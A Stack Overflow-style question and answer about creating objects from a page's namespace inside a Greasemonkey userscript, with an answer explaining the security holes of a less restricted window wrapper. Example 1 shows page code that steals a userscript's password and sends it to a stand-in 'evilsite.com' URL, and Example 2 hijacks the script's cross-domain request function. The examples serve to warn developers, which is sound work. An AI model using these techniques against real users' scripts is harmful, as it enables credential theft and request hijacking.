The page on which my userscript will run has a namespace, the namespace defines a constructor function. I would like to create an object using the same constructor and use methods of the object in my userscript. So far I have been unsuccessful. Here's what I am trying to do.
The Page has the following native javascript block :
var namespace={ constructor : function(){
this.sum = function(value1,value2){
alert(value1+value2);
}
}
}
being used like:
var pageObject=new namespace.constructor();
pageObject.sum(1,2);
In My Userscript its my intention to create an object just like pageObject and call sum from that with my own parameters.
I have tried doing the following :
var greaseNameSpace = unsafeWindow.namespace;
var greaseObject = new greaseNameSpace.constructor();
greaseObject.sum(1,2);
No Luck, appears though greaseNameSpace exist, and even greaseNameSpace.constructor is a valid function , using new greaseNameSpace.constructor() yields undefined.
also tried following :
var greaseObject =new unsafeWindow.namespace.constructor();
again greaseObject remains undefined.
I found one thread here How can I create an object of a class which is defined in the remote page?
But it uses eval, and I wonder if that's the right way ?
Any and all help would be much appreciated :) thanks!!
I have found a method to solve the question. Be careful to use this method though: when you partially/wrongly implement this code, you're opening a potential security hole.
The code below obtains a window
object without the ambiguous restrictions of unsafeWindow
. Any code executed in the scope of this window
object will behave if it was a part of the actual page, similarly to the Content Scripts at Google Chrome's extensions.
// ==UserScript==
// @name http://stackoverflow.com/q/4804765
// @namespace Rob W
// @include file:///tmp/test.html*
// ==/UserScript==
//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
.getInterface(Components.interfaces.nsIDOMWindow);
//Create an anonymous function wrapper for security
(function(){
var obj = new $_WINDOW.namespace.constructor;
obj.sum(4,5);
}).call($_WINDOW)
window
object in a function, so that no dangerous holes are created. Do not allow this function wrapper to execute random code based on user input.$_WINDOW
Below, I will show possible cases in which the $_WINDOW
object is implemented in a dangerous way. It's obvious that the Code at the "//page
" was not expected by the developer of the GM script.
Note: Some examples (such as example 2) may be useful for secure (local) web-based applications (at the file:///
protocol, for instance).
Example 3 shows the right method to use $_WINDOW
.
I have used the magic __defineGetter__
function to detect calls to a variable, because most script developers do not know about this feature. Calling functions directly will also trigger the harmful code;
The main cause is laid at arguments.callee.caller
. Inside a function, this object will refer to the function which has called the current function. When unsafeWindow
is used, the arguments.callee.caller
variable cannot be called. The function will then be displayed as function SJOWContentBoundary{ [native code]}
. However, when $_WINDOW
is used, the real GM function is visible and callable by the remote page.
Example 1: Reading (sensible) data from a GreaseMonkey script
//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?
//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
var gm_function = arguments.callee.caller;
var password = gm_function.toString().match(/var password = "(.*?)";\n/);
(new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})
Example 2:
Leaking a cross-domain XMLHttpRequest
method to an arbitrary page.
The creator of this GM script intended to modify the page according to a hash change. However, by including a check (whether the page should be affected) in a function which changes the URL / callback, a hole was created.
//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
base_url = url;
callback = func;
return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
window.setInterval(function(){ //Create poller to detect hash changes
var newHash = unsafeWindow.location.hash.substr(1);
if(lastHash != newHash){
GM_xmlhttpRequest({method:"GET",
"url": base_url + newHash, onload:callback});
lastHash = newHash;
}
}, 300);
}
//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
if(!step++){ //Define the xhr first time
xhr = function(url, callback){
arguments.callee.caller(url, callback);
// = function checkExistent(url, callback) !!!!
location.hash += "."; //Edit hash to trigger XHR
}
}
return step;
});
Example 3:
Correct usage
Variable getters should be defined such that no arbitrary requests can be made. Functions should not accept variables. If it's still necessary, wrap the getter in an anonymous function.
//GM:
function getUserdata(){
//Get a string from a page. Wrap the string in a new String object,
// to make sure that no evil properties/methods are defined
return String($_WINDOW.variable);
}
//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
var variable = (function(){ //No arguments, no hazards
return $_WINDOW[name];
})();
return type(variable);
}
getRandomVariable(String, "variable");
//Page:
var variable = "There's no way to abuse this GM bridge.";
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With